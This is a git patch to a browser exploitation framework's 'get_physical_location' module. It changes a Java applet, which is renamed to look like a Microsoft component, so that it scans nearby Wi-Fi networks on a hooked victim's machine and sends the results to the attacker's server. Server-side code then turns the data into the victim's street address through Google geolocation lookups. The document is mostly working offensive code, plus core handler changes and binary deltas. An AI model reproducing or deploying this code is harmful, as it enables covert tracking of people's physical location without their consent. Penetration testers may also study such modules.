From 95f7e920111c9849637ae7ffb4a28d478947954c Mon Sep 17 00:00:00 2001 From: Keith Lee Date: Mon, 5 Mar 2012 03:40:46 +0800 Subject: [PATCH] Changes to command module and get_physical location so that @datastore['cid'] , @datastore['results'] and @datastore['beefhook'] can be called from the modules --- core/main/command.rb | 5 +- core/main/handlers/commands.rb | 4 +- modules/host/get_physical_location/command.js | 6 +- .../getGPSLocation.class | Bin 5394 -> 3973 bytes .../get_physical_location/getGPSLocation.jar | Bin 4570 -> 3812 bytes .../get_physical_location/getGPSLocation.java | 70 +----------------- modules/host/get_physical_location/module.rb | 29 +++++++- 7 files changed, 38 insertions(+), 76 deletions(-) diff --git a/core/main/command.rb b/core/main/command.rb index 826d10425..577cd39d6 100644 --- a/core/main/command.rb +++ b/core/main/command.rb @@ -108,7 +108,7 @@ module BeEF # Sets the datastore for the callback function. This function is meant to be called by the CommandHandler # @param [Hash] http_params HTTP parameters # @param [Hash] http_headers HTTP headers - def build_callback_datastore(http_params, http_headers) + def build_callback_datastore(http_params, http_headers, result, command_id, beefhook) @datastore = {'http_headers' => {}} # init the datastore # get, check and add the http_params to the datastore @@ -126,6 +126,9 @@ module BeEF (print_error 'http_header_value is invalid';return) if not BeEF::Filters.is_valid_command_module_datastore_param?(http_header_value) @datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore } + @datastore['results'] = result + @datastore['cid'] = command_id + @datastore['beefhook'] = beefhook end # Returns the output of the command. These are the actual instructions sent to the browser. diff --git a/core/main/handlers/commands.rb b/core/main/handlers/commands.rb index 5e38490de..4aa8de08a 100644 --- a/core/main/handlers/commands.rb +++ b/core/main/handlers/commands.rb @@ -55,9 +55,11 @@ module Handlers beefhook = get_param(@data, 'beefhook') (print_error "BeEFhook is invalid";return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook) + result = get_param(@data, 'results') + # @note create the command module to handle the response command = @kclass.new(BeEF::Module.get_key_by_class(@kclass)) - command.build_callback_datastore(@http_params, @http_header) + command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook) command.session_id = beefhook if command.respond_to?(:post_execute) command.post_execute diff --git a/modules/host/get_physical_location/command.js b/modules/host/get_physical_location/command.js index b03433e90..9fb382db4 100755 --- a/modules/host/get_physical_location/command.js +++ b/modules/host/get_physical_location/command.js @@ -18,11 +18,11 @@ beef.execute(function() { var applet_id = '<%= @applet_id %>'; var applet_name = '<%= @applet_name %>'; var output; - beef.dom.attachApplet(applet_id, 'getGPSLocation', 'getGPSLocation' , + beef.dom.attachApplet(applet_id, 'Microsoft_Corporation', 'getGPSLocation' , null, applet_archive, null); - output = document.getGPSLocation.getInfo(); + output = document.Microsoft_Corporation.getInfo(); if (output) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'location_info='+output.replace(/\n/g,"
")); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'location_info='+output); } beef.dom.detachApplet('getGPSLocation'); }); diff --git a/modules/host/get_physical_location/getGPSLocation.class b/modules/host/get_physical_location/getGPSLocation.class index 3a3756f0b35000c6a824e380cc81f34d1d93f322..7a75951d90576283b2313336a12a9e4fad1a366b 100755 GIT binary patch delta 2168 zcmb7FSx^*L6g|!KOuy-A5E}<=R1_4WGa#<0t&-qE6c}7E!HH-jY7{l7fGg@K?t8+x z#3d$iBa6X>*bs?EvsjgUq$;KP&PTqIzf|QbRgs)G3~0)VRr#3vZofJA_Ivl7d%H2P zXF%kK$G7hS7>RFmuVVnp1UATZ zqcoc&Y_q@?d5C%qTfNwZ?K)mSM8^*76lf6GB|*C-e2>6hfqeq|1r7)t6gVVsSZB-; z`O>2T$K?99z&iqs0#T2K;~Gx1R49`by8u%Ryoi?!lptha1_}+7O0O7&3Q|^9Zm7&% zUsts{x1gq`a&t*lEsuQCz$v^NeV8!RbsA@)j}ylE&l)&~_Y4%^yfp6{_yC2`B3F9u zhXyX-qJc}etl^4*CYk&re5^njsKAvqYJ`SQ419{K20lY`^pq={cn#ML+>l4PiI(W! zt|7x`qNwXMt1GLQ=T6_WWZBxfsx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R$kGMV$KR0wxfj0rF|$Xdw}ush>>Cx zzn*y7GOjmZ3dbNkn8fr?hM(`_xH=i7I2q-biD{UP3d}_ajr>Gh%8#k@a6E6|C!iB2 zq6af@5o&NbxvxT)UqZFmf;!xTS=dg=oj3)%F^3oJxxDw*V?XBc!n6RN<1~DMg(3@! zgcnU>B$m*s#bPwh6cf{k5sxWkVf!jZ8Bg zrbf={WGT&(044#%SMIP3QLRg{->qHpcVm^ArVyqWSu|dSJQCx-##g({7Y{tdn zE?gpZVv~3kmx@ntg@?b=ct+uB&p2G;nS^USHMq`GkLx{+xWRKaZuCTOlP8YNp7prd zb2V=9Y{l)Ky|}}(4|maCu(})B`O@%B!?AEd(ctg7Jife42i+49Y%SyEFK4f=Lhl# zC1b+bf$TJ{X9pAsB;%F`)IgrZXJ?+rUL6z83FM^VIfq9CS0xf(FClsI3}2xy4aNDC zRRTQLhDT%mZ1BcFW;YRuLG1M4UgTjbCg46&wh^1}M=>5m86INpA0{e4g8A5i)6vh2 zKg!(iVy+)!ejkU8C$JGu5|N+6m3W#zk?kfTKSNE=Qfe&^*mL5UFJCuHp|Iq;rb*>E)Gi+E!4Yxuo^PhDDRUc8!$563);NmgCaR$isPZ)B= PNL^CATwOyaJc#`VlOk<| diff --git a/modules/host/get_physical_location/getGPSLocation.jar b/modules/host/get_physical_location/getGPSLocation.jar index 0359873674c37bb29af6f98ef752e2d6e47f7427..27813788d545dac7b8033819593025de6d8b7c6b 100755 GIT binary patch literal 3812 zcmaJ^XH*l))&-=64xva9q=q5^47~{wKw3hRPy_)(i69V&mm*E+9m1uzOK%aufHVzA zQz24CkRnBj6e)_7Ao{`m)_Zzg@4Y>1);jZJ&&)Y%=B&L}Y%vzB+bQR-T=0b30m920}1+0i}pg#NV`W}g{RM<+CRc5x(P#!OV zK$&Doqeg=Um%uB_bo)N?Z|=S_rkQdspZCOCEV^&4<=QT+TCpsr+1lnK`Eu5>Zdj*z z(qE<}Gc}^2O+j_4C!XFl^>mv4*KC-7&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Sly`2J_UBRx z2YgJ_MoJtA9`56_%*AEu#9uA~I4$LLV{x-O#7FFLRzycJPXuFN8pBdRbO#)w*shJBM0yyAuIqD!*qn0o9J z9?^hJl?}b0N!i+Sc#zi;1zpook?`PhJ`AY>Yp~wr>!g;bD~raeV;0U95_oyQRZ8Gz zsg-PS$a=TQ?-9mownl(4L==*StmjbkNyICJ>KK$j8aRBCl}t)FX9hbtq<2-=lK!6x{~n7{wtzti))X*u+}004D&zi%*m_XJu2!KeMU zwpTo*;e1$1AH+?rok3WX{fyvA|KnAPHCm9!ZDjO$6mm@xu|}RWE)q>0Qa)Ohyb=4l z>Oy1J%vEolzA;skwFT zSW0DRi}W%)Oy-n*@EcLmDoo%(Am(#btjgdIn*2C{cE4KCdXlKK5qD^@|(1D!v42Ai+LZoF`1%KI%y=5->R@5d9u3v_3KCdyjYWEa=htFgPJYb!iLUshcH0twGNt2(?lqVZ0l2 zz+i=Sc*D*rOf2hPfB$?kRHHu3xRy#{K8kWS&ij$VHz5A$IV(R}H#0Dx_pI~7<=lrY zHJ;YEjxN~b`|l(PIc=+O$_x^qZoxV62mpEQaK<`1pGx~7vI8C_-k9_RrjTS==k>y4 zs)s^SeGRZ|T4x&mcAgrKb+v3ZmVUpukHYFuT$wLorzEzG_X)jPHEwr1HBH~pk$6y@ zHXcnNDL3Uvl87`+bt&CLEtnr&3+2mm2(u`nH@7jcL|>I2Qe6gbjJmY}o>)a5UorW? zE$-i3X~}!m>Pd=&LrML2yN-(o!TCS_SNI3ElS;{?S^oS6DEym1$^Vx*|MC4vxc8X< z$@zElPw`(lOG)zgSnm9d0Wa>|$IVE3caIVJ2L=@Wy+7o?R!rh2&EwM~4cwz3jQpq8 Fe*hLq2W0){ - result+="\nLocation is not accurate\n"; - //System.out.println("Location is not accurate\n"); - } - else{ - if(output.indexOf("lat")>0){ - output = output.replace("\"lat\" : ",""); - output = output.replaceAll("^\\s+", ""); - geoCoordinates = output; - result+="\nLatitude: "; - result+=output; - //System.out.println("Latitude: "+output); - } - if(output.indexOf("lng")>0){ - output = output.replace("\"lng\" : ",""); - output = output.replaceAll("^\\s+", ""); - geoCoordinates += output; - result+="\nLongitude: "; - result+=output; - //System.out.println("Longitude: "+output); - } - } - - } - - - //Reverse geocoordinates to street address - String reverseGeo = "https://maps.googleapis.com/maps/geo?q="+geoCoordinates+"&output=json&sensor=true_or_false"; - - //System.out.println(reverseGeo); - - URL url1 = new URL(reverseGeo); - URLConnection urlc1 = url1.openConnection(); - urlc1.setRequestProperty("User-Agent", "Mozilla 5.0 (Windows; U; "+ "Windows NT 5.1; en-US; rv:1.8.0.11) "); - BufferedReader reader1 = new BufferedReader(new InputStreamReader(urlc1.getInputStream())); - for (String output1; (output1 = reader1.readLine()) != null;) { - if(output1.indexOf("address")>0){ - output1 = output1.replace("\"address\": ",""); - output1 = output1.replace("\",",""); - output1 = output1.replace("\"",""); - output1 = output1.replaceAll("^\\s+", ""); - result+="\nAddress is "; - result+=output1; - //System.out.println("Address is "+output1); - } } - String mapAddress = "http://maps.google.com/maps?q="+geoCoordinates+"+%28You+are+located+here%29&iwloc=A&hl=en"; - result+="\n"+mapAddress; - //System.out.println("\n"+mapAddress); } catch (Exception e) { System.out.println(e.getMessage()); } - return result; + return queryString; } public static String getMac(){ - String result = null; try { Process p = Runtime.getRuntime().exec("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport scan"); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); @@ -205,11 +141,9 @@ public class getGPSLocation extends Applet{ int arraySize=ssidList.size(); if(arraySize==0){ result="\nI don't know where the target is"; - //System.out.println("I don't know where the target is"); } else{ result=googleLookup(bssidList,ssidList,rssiList); - } } catch (Exception e) { System.out.println(e.getMessage()); diff --git a/modules/host/get_physical_location/module.rb b/modules/host/get_physical_location/module.rb index 9487c3a26..17f4723fb 100755 --- a/modules/host/get_physical_location/module.rb +++ b/modules/host/get_physical_location/module.rb @@ -13,14 +13,37 @@ # See the License for the specific language governing permissions and # limitations under the License. # +require 'rubygems' +require 'json' +require 'open-uri' + class Get_physical_location < BeEF::Core::Command + def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_physical_location/getGPSLocation.jar', '/getGPSLocation', 'jar') end - def post_execute - save({'result' => @datastore['location_info']}) + def post_execute + results = @datastore['results'].to_s + results = results.gsub("location_info=","") + + response = open(results).read + result = JSON.parse(response) + reverseGoogleUrl = "https://maps.googleapis.com/maps/geo?q="+result['location']['lat'].to_s+','+result['location']['lng'].to_s+"&output=json&sensor=true_or_false" + googleResults = open(reverseGoogleUrl).read + jsonGoogleResults = JSON.parse(googleResults) + + addressFound = jsonGoogleResults['Placemark'][0]['address'] + + writeToResults = Hash.new + writeToResults['data'] = addressFound + BeEF::Core::Models::Command.save_result(@datastore['beefhook'], @datastore['cid'] , @friendlyname, writeToResults) + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getGPSLocation.jar') + + content = {} + content['Result'] = addressFound + save content end - + end